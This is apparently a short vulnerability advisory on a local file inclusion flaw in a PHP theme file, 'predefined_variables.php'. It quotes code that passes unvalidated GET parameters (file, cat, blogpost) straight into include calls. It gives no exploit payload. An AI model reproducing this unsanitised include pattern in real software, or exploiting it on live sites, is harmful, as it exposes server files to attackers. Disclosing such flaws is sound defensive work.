+--> Local File Inclusion

Input passed to multiple parameters in "predefined_variables.php" are not properly verified 
before being used to include files.
This can be exploited to include arbitrary files from local resources.

Code Snippet:
/data/inc/themes/predefined_variables.php #line:15-38

//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/$langpref");
//Get Site-title
$sitetitle = file_get_contents("data/settings/title.dat");

//Get the page-data
$filetoread = $_GET['file'];
$album = $_GET['album'];
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];

if (($filetoread) && (file_exists("data/content/$filetoread"))) {
include "data/content/$filetoread"; }

elseif ($album) {
$title = $album; }

elseif ($blogpost) {
include("data/blog/$cat/posts/$blogpost"); }

elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) {
$title = $lang_front1;
$content = $lang_front2; }
